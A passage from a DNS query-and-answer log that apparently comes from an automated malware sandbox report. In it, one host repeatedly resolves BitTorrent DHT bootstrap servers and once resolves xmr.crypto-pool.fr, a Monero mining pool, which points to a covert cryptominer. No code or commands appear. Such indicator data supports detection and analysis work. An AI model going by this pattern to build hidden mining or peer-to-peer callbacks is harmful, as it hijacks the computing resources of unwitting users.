Aug 23, 2023 09:18:34.668045998 CEST	192.168.2.3	8.8.8.8	0x8fc	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:34.692028999 CEST	192.168.2.3	8.8.8.8	0xd62a	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:34.726701021 CEST	192.168.2.3	8.8.8.8	0xf6b2	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:34.749954939 CEST	192.168.2.3	8.8.8.8	0x3553	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:34.784069061 CEST	192.168.2.3	8.8.8.8	0x5c37	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:18:34.806318045 CEST	192.168.2.3	8.8.8.8	0x1a38	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Aug 23, 2023 09:14:28.233553886 CEST	8.8.8.8	192.168.2.3	0x7f4d	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:28.233553886 CEST	8.8.8.8	192.168.2.3	0x7f4d	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:28.774435043 CEST	8.8.8.8	192.168.2.3	0xfb23	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:28.774435043 CEST	8.8.8.8	192.168.2.3	0xfb23	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:28.803334951 CEST	8.8.8.8	192.168.2.3	0x57e	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:28.878983974 CEST	8.8.8.8	192.168.2.3	0x7c8f	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:29.225805998 CEST	8.8.8.8	192.168.2.3	0x3ac	No error (0)	xmr.crypto-pool.fr		141.95.206.77	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:29.406965971 CEST	8.8.8.8	192.168.2.3	0x84c6	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:29.461317062 CEST	8.8.8.8	192.168.2.3	0x62e9	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:29.511809111 CEST	8.8.8.8	192.168.2.3	0xa2e5	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:14:29.511809111 CEST	8.8.8.8	192.168.2.3	0xa2e5	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:30.159064054 CEST	8.8.8.8	192.168.2.3	0x3842	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:14:30.159064054 CEST	8.8.8.8	192.168.2.3	0x3842	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:31.953252077 CEST	8.8.8.8	192.168.2.3	0x96aa	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:31.953252077 CEST	8.8.8.8	192.168.2.3	0x96aa	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:31.978647947 CEST	8.8.8.8	192.168.2.3	0x2d5d	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:31.978647947 CEST	8.8.8.8	192.168.2.3	0x2d5d	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:32.013824940 CEST	8.8.8.8	192.168.2.3	0xdb5	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:32.116669893 CEST	8.8.8.8	192.168.2.3	0xd4b3	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:32.213184118 CEST	8.8.8.8	192.168.2.3	0x94e	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:32.238086939 CEST	8.8.8.8	192.168.2.3	0xf3b7	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:32.259694099 CEST	8.8.8.8	192.168.2.3	0xaf0a	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:14:32.259694099 CEST	8.8.8.8	192.168.2.3	0xaf0a	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:32.393327951 CEST	8.8.8.8	192.168.2.3	0xd254	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:14:32.393327951 CEST	8.8.8.8	192.168.2.3	0xd254	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:32.543641090 CEST	8.8.8.8	192.168.2.3	0x7969	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:32.543641090 CEST	8.8.8.8	192.168.2.3	0x7969	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:32.662955999 CEST	8.8.8.8	192.168.2.3	0x329e	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:32.662955999 CEST	8.8.8.8	192.168.2.3	0x329e	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:32.772623062 CEST	8.8.8.8	192.168.2.3	0xc653	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:32.852914095 CEST	8.8.8.8	192.168.2.3	0x3a0d	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:32.931951046 CEST	8.8.8.8	192.168.2.3	0xb1e1	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:32.957325935 CEST	8.8.8.8	192.168.2.3	0xdbca	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:32.991503954 CEST	8.8.8.8	192.168.2.3	0xded7	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:14:32.991503954 CEST	8.8.8.8	192.168.2.3	0xded7	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:33.068018913 CEST	8.8.8.8	192.168.2.3	0x8e0f	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:14:33.068018913 CEST	8.8.8.8	192.168.2.3	0x8e0f	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:33.282794952 CEST	8.8.8.8	192.168.2.3	0xa9d9	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:33.282794952 CEST	8.8.8.8	192.168.2.3	0xa9d9	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:33.309052944 CEST	8.8.8.8	192.168.2.3	0xd76d	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:33.309052944 CEST	8.8.8.8	192.168.2.3	0xd76d	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:33.411581993 CEST	8.8.8.8	192.168.2.3	0x930e	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:33.466789961 CEST	8.8.8.8	192.168.2.3	0xbe6f	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:33.491103888 CEST	8.8.8.8	192.168.2.3	0xd517	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:33.519706964 CEST	8.8.8.8	192.168.2.3	0x1d5e	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:33.552557945 CEST	8.8.8.8	192.168.2.3	0xebfb	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:14:33.552557945 CEST	8.8.8.8	192.168.2.3	0xebfb	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:33.604691029 CEST	8.8.8.8	192.168.2.3	0x9254	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:14:33.604691029 CEST	8.8.8.8	192.168.2.3	0x9254	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:37.648119926 CEST	8.8.8.8	192.168.2.3	0xb570	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:37.648119926 CEST	8.8.8.8	192.168.2.3	0xb570	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:37.802330017 CEST	8.8.8.8	192.168.2.3	0x2d14	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:37.802330017 CEST	8.8.8.8	192.168.2.3	0x2d14	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:37.935537100 CEST	8.8.8.8	192.168.2.3	0xe6d0	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:37.977763891 CEST	8.8.8.8	192.168.2.3	0xa11c	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:38.009694099 CEST	8.8.8.8	192.168.2.3	0xadd5	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:38.044120073 CEST	8.8.8.8	192.168.2.3	0x684c	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:38.124350071 CEST	8.8.8.8	192.168.2.3	0x9f08	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:14:38.124350071 CEST	8.8.8.8	192.168.2.3	0x9f08	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:38.148411989 CEST	8.8.8.8	192.168.2.3	0x2a0e	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:14:38.148411989 CEST	8.8.8.8	192.168.2.3	0x2a0e	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:38.250451088 CEST	8.8.8.8	192.168.2.3	0x11e6	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:38.250451088 CEST	8.8.8.8	192.168.2.3	0x11e6	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:38.313895941 CEST	8.8.8.8	192.168.2.3	0xd078	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:38.313895941 CEST	8.8.8.8	192.168.2.3	0xd078	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:38.346527100 CEST	8.8.8.8	192.168.2.3	0x2dd9	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:38.370896101 CEST	8.8.8.8	192.168.2.3	0x3e25	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:38.464395046 CEST	8.8.8.8	192.168.2.3	0xad7e	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:38.591509104 CEST	8.8.8.8	192.168.2.3	0xd493	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:38.668859959 CEST	8.8.8.8	192.168.2.3	0xcac7	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:14:38.668859959 CEST	8.8.8.8	192.168.2.3	0xcac7	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:38.701056957 CEST	8.8.8.8	192.168.2.3	0x9c75	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:14:38.701056957 CEST	8.8.8.8	192.168.2.3	0x9c75	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:39.095683098 CEST	8.8.8.8	192.168.2.3	0xe681	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:39.095683098 CEST	8.8.8.8	192.168.2.3	0xe681	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:39.271611929 CEST	8.8.8.8	192.168.2.3	0x4318	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:39.271611929 CEST	8.8.8.8	192.168.2.3	0x4318	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:39.389225960 CEST	8.8.8.8	192.168.2.3	0xbb8e	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:39.423561096 CEST	8.8.8.8	192.168.2.3	0x4954	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:39.561469078 CEST	8.8.8.8	192.168.2.3	0x2be3	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:39.651062965 CEST	8.8.8.8	192.168.2.3	0x1f84	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:39.782402039 CEST	8.8.8.8	192.168.2.3	0x4e42	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:14:39.782402039 CEST	8.8.8.8	192.168.2.3	0x4e42	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:39.882734060 CEST	8.8.8.8	192.168.2.3	0x3086	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:14:39.882734060 CEST	8.8.8.8	192.168.2.3	0x3086	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:39.995182991 CEST	8.8.8.8	192.168.2.3	0x171d	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:39.995182991 CEST	8.8.8.8	192.168.2.3	0x171d	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:40.078396082 CEST	8.8.8.8	192.168.2.3	0xf839	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:40.078396082 CEST	8.8.8.8	192.168.2.3	0xf839	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:40.104351044 CEST	8.8.8.8	192.168.2.3	0xd9b7	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:40.183160067 CEST	8.8.8.8	192.168.2.3	0x2bd5	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:40.202212095 CEST	8.8.8.8	192.168.2.3	0x1798	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:40.291294098 CEST	8.8.8.8	192.168.2.3	0xf542	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:40.314909935 CEST	8.8.8.8	192.168.2.3	0xea3c	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:14:40.314909935 CEST	8.8.8.8	192.168.2.3	0xea3c	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:40.381994009 CEST	8.8.8.8	192.168.2.3	0x9605	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:14:40.381994009 CEST	8.8.8.8	192.168.2.3	0x9605	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:44.824662924 CEST	8.8.8.8	192.168.2.3	0x39c3	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:44.824662924 CEST	8.8.8.8	192.168.2.3	0x39c3	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:44.854450941 CEST	8.8.8.8	192.168.2.3	0x79e5	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:44.854450941 CEST	8.8.8.8	192.168.2.3	0x79e5	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:44.941968918 CEST	8.8.8.8	192.168.2.3	0xacfb	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:44.970973969 CEST	8.8.8.8	192.168.2.3	0xc6dd	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:45.109955072 CEST	8.8.8.8	192.168.2.3	0x923f	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:45.200464010 CEST	8.8.8.8	192.168.2.3	0x9534	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:45.287025928 CEST	8.8.8.8	192.168.2.3	0x9abc	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:14:45.287025928 CEST	8.8.8.8	192.168.2.3	0x9abc	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:45.321439028 CEST	8.8.8.8	192.168.2.3	0xe76f	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:14:45.321439028 CEST	8.8.8.8	192.168.2.3	0xe76f	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:45.491121054 CEST	8.8.8.8	192.168.2.3	0x7d12	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:45.491121054 CEST	8.8.8.8	192.168.2.3	0x7d12	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:45.615622044 CEST	8.8.8.8	192.168.2.3	0xbeda	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:45.615622044 CEST	8.8.8.8	192.168.2.3	0xbeda	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:45.781522036 CEST	8.8.8.8	192.168.2.3	0x305b	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:45.887253046 CEST	8.8.8.8	192.168.2.3	0xbb62	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:45.991329908 CEST	8.8.8.8	192.168.2.3	0x19e0	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:46.049045086 CEST	8.8.8.8	192.168.2.3	0x3b1c	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:46.073328018 CEST	8.8.8.8	192.168.2.3	0x1609	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:14:46.073328018 CEST	8.8.8.8	192.168.2.3	0x1609	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:46.099054098 CEST	8.8.8.8	192.168.2.3	0x3d5d	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:14:46.099054098 CEST	8.8.8.8	192.168.2.3	0x3d5d	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:47.923227072 CEST	8.8.8.8	192.168.2.3	0x7097	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:47.923227072 CEST	8.8.8.8	192.168.2.3	0x7097	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:47.959249020 CEST	8.8.8.8	192.168.2.3	0x8e04	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:47.959249020 CEST	8.8.8.8	192.168.2.3	0x8e04	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:48.059583902 CEST	8.8.8.8	192.168.2.3	0xca21	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:48.172396898 CEST	8.8.8.8	192.168.2.3	0x5a5	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:48.236303091 CEST	8.8.8.8	192.168.2.3	0x6c96	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:48.268940926 CEST	8.8.8.8	192.168.2.3	0xf4dd	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:48.348056078 CEST	8.8.8.8	192.168.2.3	0x8bb5	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:14:48.348056078 CEST	8.8.8.8	192.168.2.3	0x8bb5	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:48.373298883 CEST	8.8.8.8	192.168.2.3	0x165f	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:14:48.373298883 CEST	8.8.8.8	192.168.2.3	0x165f	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:48.452415943 CEST	8.8.8.8	192.168.2.3	0xc90c	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:48.452415943 CEST	8.8.8.8	192.168.2.3	0xc90c	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:48.489933968 CEST	8.8.8.8	192.168.2.3	0xeba7	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:48.489933968 CEST	8.8.8.8	192.168.2.3	0xeba7	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:48.550368071 CEST	8.8.8.8	192.168.2.3	0x38c	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:48.584103107 CEST	8.8.8.8	192.168.2.3	0x2d2a	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:48.658277035 CEST	8.8.8.8	192.168.2.3	0xd840	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:48.691915989 CEST	8.8.8.8	192.168.2.3	0xb3c1	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:48.729367971 CEST	8.8.8.8	192.168.2.3	0x9b09	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:14:48.729367971 CEST	8.8.8.8	192.168.2.3	0x9b09	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:48.801192045 CEST	8.8.8.8	192.168.2.3	0xd5ed	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:14:48.801192045 CEST	8.8.8.8	192.168.2.3	0xd5ed	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:50.056654930 CEST	8.8.8.8	192.168.2.3	0x671e	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:50.056654930 CEST	8.8.8.8	192.168.2.3	0x671e	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:50.089422941 CEST	8.8.8.8	192.168.2.3	0x3220	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:50.089422941 CEST	8.8.8.8	192.168.2.3	0x3220	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:50.156759977 CEST	8.8.8.8	192.168.2.3	0x10b6	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:50.180335045 CEST	8.8.8.8	192.168.2.3	0xa51	No error (0)	router.bittorrent.com		67.215.246.10	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:50.229680061 CEST	8.8.8.8	192.168.2.3	0x3d4	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:50.291471004 CEST	8.8.8.8	192.168.2.3	0xc008	No error (0)	router.utorrent.com		82.221.103.244	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:50.316176891 CEST	8.8.8.8	192.168.2.3	0x7151	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:14:50.316176891 CEST	8.8.8.8	192.168.2.3	0x7151	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:50.379911900 CEST	8.8.8.8	192.168.2.3	0xdc22	No error (0)	bttracker.debian.org	bttracker.acc.umu.se		CNAME (Canonical name)	IN (0x0001)	false
Aug 23, 2023 09:14:50.379911900 CEST	8.8.8.8	192.168.2.3	0xdc22	No error (0)	bttracker.acc.umu.se		130.239.18.158	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:52.792856932 CEST	8.8.8.8	192.168.2.3	0x5b7	No error (0)	dht.transmissionbt.com		87.98.162.88	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:52.792856932 CEST	8.8.8.8	192.168.2.3	0x5b7	No error (0)	dht.transmissionbt.com		212.129.33.59	A (IP address)	IN (0x0001)	false
